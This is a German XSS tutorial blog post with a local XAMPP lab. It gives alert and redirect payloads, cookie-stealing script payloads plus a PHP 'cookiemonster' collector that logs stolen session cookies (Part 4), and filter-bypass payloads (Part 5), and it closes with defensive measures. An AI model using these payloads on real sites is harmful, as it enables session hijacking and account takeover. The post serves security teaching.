Cross-Site Scripting (XSS) – Tutorial Deutsch

Posted on Posted in Tutorial's

Cross-Site Scripting (XSS) – Tutorial by Meta-Thrunks!

In diesem Dokument soll dem Leser die  „Cross-Site Scripting (XSS)“ Lücke etwas näher gebracht werden. Dieses Dokument und auch die Videos dazu sind für jedermann der sich entweder für die IT-Security interessiert oder im Webdesign tätig ist, das heisst jeder der eine oder mehrere Webseiten unterhält, deshalb ein potenzielles XSS Opfer sein kann. Cross-Site Scripting ist nur eine von mehreren Gefährdungen im Internet. Eine gute Übersicht bietet/erarbeitet OWASP – The Open Web Application Security Project: https://www.owasp.org in dem neustem Report: OWASP Top 10 – 2013 „Die 10 häufigsten Sicherheitsrisiken für Webanwendungen“, werden die Top Ten Sicherheitsrisiken im Bereich Web aufgelistet und erläutert: https://www.owasp.org/images/4/42/OWASP_Top_10_2013_DE_Version_1_0.pdf

OWASP Top 10 – 2013

  1. A1 – Injection
  2. A2 – Fehler in Authentifizierung und Session-Management (Broken Authentication ans Session Management)
  3. A3 – Cross-Site Scripting (XSS)
  4. A4 – Unsicher direkte Objektreferenzen (Insecure Direct Object References)
  5. A5 – Sicherheitsrelevante Fehlkonfiguration (Security Misconfiguration)
  6. A6 – Verlust der Vertraulichkeit sensibler Daten (Sensitive Data Exposure)
  7. A7 – Fehlerhafte Autorisierung auf Anwendungsebene (Missing Function Level Access Control)
  8. A8 – Cross-Site Request Forgery (CSRF)
  9. A9 – Verwendung von Komponenten mit bekannten Schwackstellen (Using Known Vulnerable Componfents)
  10. A10 – Ungeprüfte Um- und Weiterleitungen (Unvalidate Redirects and Forwards)

Auch heute, im Jahr 2015, sind es zum grössten Teil immer noch dieselben Angriffs Vektoren wie schon vor 5 oder mehr Jahren. Im Jahr werden immer noch mehrere 10 000 Webseiten Opfer von Hackern. Cross-Site Scripting (XSS) steht heute noch auf Rang 3, deshalb werde ich versuchen euch diese Lücke etwas näher zu bringen.

Was ist Cross-Site Scripting?

Nach OWASP: A3 – Cross-Site Scripting (XSS) – XSS-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten entgegennimmt und ohne entsprechende Validierung oder Umkodierung an einen Webbrowser sendet. XSS erlaubt es einem Angreifer Scriptcode im Browser eines Opfers auszuführen und somit Benutzersitzungen zu übernehmen, Seiteninhalte zu verändern oder den Benutzer auf bösartige Seiten umzuleiten.

Cross-Site Scripting anderweitig als XSS bekannt, ist eine Code injection Attacke gegen Angreifbare Webseiten die es, „bösartigen“ Code in die Angegriffene Webseite zu schleusen und auszuführen. Im Grundsatz kann man sagen es könnte alle Webseite die Javascript verwenden gefährdet sein.

Es gibt verschiedene Arten von XSS – Angriffen,

  1. DOM – basiert oder lokal : Bei dieser Angriffs Art ist die Webapplikation auf dem Server gar nicht beteiligt. Somit sind auch die statischen HTML-Seiten mit JavaScript-Unterstützung anfällig for Angriffe dieser Art. Der Schadcode wird zur Ausführung direkt an ein Clientseitiges Script übergeben. Das kann z.B. ein JavaSript sein , dass einen Url-Argumentwert zur Ausgabe von Daten verwendet, ohne diesen ausreichend zu prüfen. Ein solcher Angriff kann eine Bösartige Url aufrufen von dem z.B. Malware auf den Computer runterlät.
  2. Reflektiert oder nicht-persistent (reflected or non-persistent XSS Attack) : Bei dieser Angriffs-Methode werden Benutzereingaben vom Server wieder zurückgesendet. Enthält diese Eingabe Skriptcode, der vom Browser des Benutzers anschliessend interpretiert wird, kann dort schadcode ausgeführt werden. Hierbei wird ausgenutzt, dass dynamisch generierte Webseiten ihren Inhalt oft an über URL (HTTP-GET-Methode) oder Formulare (HTTP-POST-Methode) übergebene Eingabewerte anpassen. Nicht-persistent heißt dieser Typ, da der Schadcode nur temporär bei der jeweiligen Generierung der Webseite eingeschleust, nicht aber gespeichert wird. Ruft man die Seite danach ohne die manipulierte URL oder das manipulierte Formular auf, ist der Schadcode nicht mehr enthalten.
  3. Persistent oder beständig (Stored XSS) : Bei dieser Art Angriffsart wird der Schadcode auf dem Webserver gespeichert somit wird dieser bei jeder Anfrage ausgeliefert. Dies ist bei jeder Webabwendung möglich, die Benutzereingaben Serverseitig speichert und dieser später wieder ausliefert, solange keine Prüfung der Benutzereingaben stattfindet!

XSS-Tutorial-Part1 – Aufbau Testumgebung

In Part 1 wird gezeigt wie man sich eine legale Testumgebung aufbauen kann um die weiteren Scripts und Angriffsszenarien nachmachen kann. Um ein Lab aufbauen zu können braucht Ihr XAMPP für Windows, XAMPP beinhaltet einen Apache Webserver, die nötige mysql Datenbank und PHP. XAMPP Downloaden unter: https://www.apachefriends.org/download.html



XSS-Tutorial-Part 2 – Nicht Persistent

Bitte ladet euch das Script für den Part 2 herunter, Link: https://www.oboom.com/folder/L9FMUSH9/Part2 und verschiebt die index.php in das „htdocs – XSS-Tutorial – Part2“ Verzeichnis. Danach könnt Ihr über einen Webbrowser auf die url: http://<IP-Webserver>/XSS-Tutorial/Part2/index.php und somit auf das Demo-Script zugreifen.

Bei diesem Script handelt es sich um ein „nicht Persitentes“ Script, die Attacke betrifft nur denjenigen der das Script aufruft. Macht eigentlich nicht sehr viel Sinn wenn sich der Angreifer selber angreiftJ! Was kann ich also mit dieser Technik machen:

  1. Umleitung auf eine Phishing Seite
  2. Cookis stehlen
  3. Den User dazu bringen etwas zu tun das ich will

Code:

  1. <font color=“red“>
  2. <script>alert(“XSS“)</script> – Gibt Text in einem Dialogfenster aus. Erwartet eine Zeichenkette, eine Zahl oder ein Objekt als Parameter


XSS-Tutorial-Part 3 – Persistent

Bei Part 3 handelt es sich um „Persitent Scripts“, bei diesem Szenario kann der Angreifer den „bösen Code“ in der Webseite platzieren sodass es bei jedem Aufruf ausgeführt wird. In diesem Beispiel platzieren wir als erstes eine ganz einfache “AlertBox” in dem Kommentar bereich, als zweites erweitern wir unseren Angriff sodass jeder der die Seite an surft auf eine Google Seite umgeleitet wird.

Verbinden Sie sich nun auf das zweite „index.php“ File im Ordner „htdocs – XSS-Tutorial – Part3“  das Sie zuvor von diesem Link gedownloadet haben: https://www.oboom.com/folder/H1L4X8OB/Part3

Code:

  1. <script>alert(“XSS“)</script> – Gibt Text in einem Dialogfenster aus. Erwartet eine Zeichenkette, eine Zahl oder ein Objekt als Parameter
  2. <script>window.location=“https://www.google.com/search?q=was+ist+XSS“</script>

Window.location = Über das Objekt location, das in der JavaScript-Objekthierarchie unterhalb des Seite window-Objekts liegt, haben Sie Zugriff auf den vollständigen Seite URI der aktuell angezeigten Web-Seite. Sie können den URI oder Teile davon zur Weiterverarbeitung abfragen und ändern. Beim Ändern führt der Web-Browser einen Sprung zu einem neuen URI aus, genau so wie bei einem Verweis.

Anstatt der google Url: https://www.google.com/search?q=was+ist+XSS  kann man eine x-beliebige Adresse nehmen, auch eine bösartige Url!!



XSS-Tutorial-Part 4 – Malicious Attack

Im Part 4 dieser Serie zeige ich euch wie man auf 2 Arten die Cookies der User die sich auf dieser Seite tummeln stehlen kann. Wenn das auf einer Seite passiert bei der die User eingeloggt sein müssen, stiehlt man gleichzeitig den “authKey” und kann sich somit die Identität der bestohlenen annehmen!

Link zu den nötigen Files: https://www.oboom.com/folder/5EK8LQ55/Part4

Code:

  1. <script>window.location=’http://localhost/xss/4/cookiemonster.php?cookie=’+escape(document.cookie)</script>
  2. <a href=”https://www.youtube.com/” onmouseover=”window.location=’http://localhost/xss/4/cookiemonster.php?cookie=’+escape(document.cookie)”>https://www.youtube.com/</a>

Window.location = Über das Objekt location, das in der JavaScript-Objekthierarchie unterhalb des Seite window-Objekts liegt, haben Sie Zugriff auf den vollständigen Seite URI der aktuell angezeigten Web-Seite. Sie können den URI oder Teile davon zur Weiterverarbeitung abfragen und ändern. Beim Ändern führt der Web-Browser einen Sprung zu einem neuen URI aus, genau so wie bei einem Verweis

Als location geben wir ein Script an „cookiemonster.php“.

escape() – Wandelt Steuersequenzen (Steuerzeichen mit den ASCII-Werten 0 bis 31) und Sonderzeichen wie z.B. deutsche Umlaute in ihre Zahlenwerte gemäß ISO-8859-1 um, und zwar in hexadezimaler Form %XX. Zeichen außerhalb dieser Codierung werden als Unicode-Sequenz %uXXXX ausgegeben. Bei anderen Zeichen als Steuer- und Sonderzeichen gibt escape() die Zeichen unverändert zurück.

document.cookie – Cookies (cookies = Kekse – die Herkunft des Namens ist unbekannt) bieten Ihnen die Möglichkeit, direkt aus einer HTML-Datei heraus Daten auf dem Rechner des Anwenders zu speichern und beim erneuten Aufruf der gleichen HTML-Datei wieder auszulesen. So kann eine WWW-Seite dynamisch auf gespeicherte Daten reagieren. Es ist nur möglich, diejenigen Cookies auszulesen, die man selbst gesetzt hat. Eine Virenübertragung mit Cookies ist ausgeschlossen. Ein Cookie ist in etwa das gleiche wie ein Eintrag in einer INI-Datei unter Microsoft Windows. Es wird eine Variable mit einem zugewiesenen Wert abgespeichert, zum Beispiel Datum und Uhrzeit des letzten Besuchs der Web-Seite. Es können keine Rechnerdaten des Anwenders ausgelesen werden. Angesichts des vorherrschenden Misstrauens bei Anwendern, die nicht wissen, was ein Cookie ist, sollten Sie Cookies nur verwenden, wenn Sie einen Grund dazu haben.

Code – cookiemonster.php:

  • <?php
  • if (isset($_GET[‘cookie’]))
  • {
  • $file = ‘stolenCookies.txt’;
  • file_put_contents($file, $_GET[‘cookie’].PHP_EOL, FILE_APPEND);
  • }
  • ?>
  • <!DOCTYPE html>
  • <html>
  • <title> Meta-Thrunks! XSS Tutorial part 4 – Problem </title>
  • <body>
  • <h1 align=”center”> OU Nein! da lief etwas schief!!! </h1>
  • </body>
  • </html>

In das Fule “stolenCookies.txt” werden die Cookies / authKeys geschrieben. Das File wird im Verzeichnis “htdocs – XSS-Tutorial – Part4” angelegt.




XSS-Tutorial-Part 5 – Bypassing Basic Filters

In Part 5 geht es um „magic_quotas_gpc“ – Ist magic_quotes_gpc aktiviert, werden alle doppelten und einfachen Anführungszeichen in Benutzereingaben automatisch mit Schrägstrichen versehen („escapet”). Der Sinn dahinter ist, SQL-Injections vorzubeugen, denn in SQL werden genau diese Zeichen verwendet, um den Anfang und das Ende von Attributwerten zu markieren. Setzt man etwa die Benutzereingabe. Viele Webseiten verwenden auch heute noch eine alte PHP Version z.B. PHP 4.0 bei denen als Sicherheit nur dieser String dient! Wir werden nun versuchen diesen Filter zu umgehen.

Link zu den Files: https://www.oboom.com/folder/YS9K2UP4/Part5

Code:

  1. <script>alert(String.fromCharCode(88,83,83))</script> – Hier werden wir XSS im Script nicht als Wörter sondern als Zahlen somit Codiert mitgeben.
  2. <a href=javascript:alert(String.fromCharCode(88,83,83))>Click Me!</a> – Als Link getarnt.
  3. <a href=javascript:alert(&quot;XSS&quot;)>Click Me!</a> – Wie man doch die Buchstaben verwenden kann.

 



 

Schutzmassnahmen

Um durch eine Webanwendung keine Basis für XSS-Angriffe zu bieten, müssen alle eingehenden Eingabewerte als unsicher betrachtet und vor der weiteren Verarbeitung auf der Serverseite geprüft werden. Dabei sollte man sich nicht darauf verlassen, „böse“ Eingaben zu definieren (Schwarze Liste), um diese herauszufiltern, da man nicht genau wissen kann, welche Angriffsmethoden es gibt. Besser ist es daher, die „guten“ Eingaben exakt zu definieren (Weiße Liste) und nur solche Eingaben zuzulassen. Dieses Verfahren zählt ganz allgemein zu den Best Practices der Programmierung und sollte wo immer möglich angewandt werden, um unerwartetes Programmverhalten zu verhindern. Allerdings ist es je nach Anwendung nicht immer ohne weiteres in der Praxis umzusetzen, besonders wenn die erlaubten Eingabewerte sehr zahlreich sind.

Eine DOM-Injection zu verhindern, ist weit weniger einfach, da Benutzereingaben nicht serverseitig geprüft werden können. Da dieser Angriff unter Umgehung des Servers stattfindet, muss die Gültigkeitsprüfung für Eingabedaten auf Clientseite im Browser erfolgen, was allerdings wiederum leicht manipulierbar ist.

Um eine Ausgabe abzusichern (insbesondere bei reflektiertem und persistentem XSS), ist es nötig, die HTML-Metazeichen durch entsprechende Zeichenreferenzen zu ersetzen, damit sie als normale Zeichen und nicht als Metazeichen behandelt werden.

Erfolgt die Ausgabe als Teil von URLs, dann muss die URL-Kodierung auf die Eingabewerte angewendet werden. Bei der Ausgabe in JavaScript-Code müssen die Zeichen mit einem umgekehrten Schrägstrich „\“ maskiert werden.

Dabei ist zu beachten, dass bei diesen drei Kontexten (HTML, URL, JavaScript) unterschiedliche Zeichen eine Metafunktion haben (zum Beispiel ist „\“ für HTML kein Metazeichen), es muss also immer eine an das Ausgabemedium angepasste Kodierung verwendet werden.

Die meisten Programmier- sowie Skriptsprachen verfügen über vordefinierte Funktionen zur Ersetzung der Metazeichen.

Die Lösungsmöglichkeiten sind in den einzelnen Programmiersprachen vielfältig, wobei sie dennoch immer einem ähnlichen Prinzip folgen. So können in Java die problematischen Zeichen ersetzt oder maskiert werden. In PHP (htmlspecialchars()) und Perl (HTML::Entities::encode_entities()) stehen entsprechende Funktionen zur Verfügung, die die problematischen HTML-Zeichen maskieren.

Zusätzlich können durch Einsatz von Web Application Firewalls (WAF) zumindest in der Theorie einfache (primitive) XSS-Attacken verhindert werden. Praktisch sind sichere Anwendungen jeder WAF vorzuziehen.

Schutzmaßnahmen für Webseitennutzer

Durch Ausschalten der JavaScript-Unterstützung (Active Scripting) im Browser kann man sich gegen clientseitige XSS-Angriffe schützen. Allerdings bieten einige Browser weitere Angriffsvektoren. Dies gilt allerdings nur für „echtes“ XSS, also solches, welches mit JavaScript arbeitet. Wenn nur HTML-Injection (z. B. mit <IFRAME …/>) verwendet wird, dann hilft das Abschalten von Active Scripting im Browser nicht.

Für einige Browser gibt es auch Erweiterungen, mit denen gezielt mögliche XSS-Angriffe erkannt und verhindert werden (Siehe NoScript).

Quelle: wikipedia

Linkliste:

OWASP – The Open Web Application Security Project
OWASP – Type of Cross-Site Scripting
OWASP – Top Ten List

Facebooktwittergoogle_plus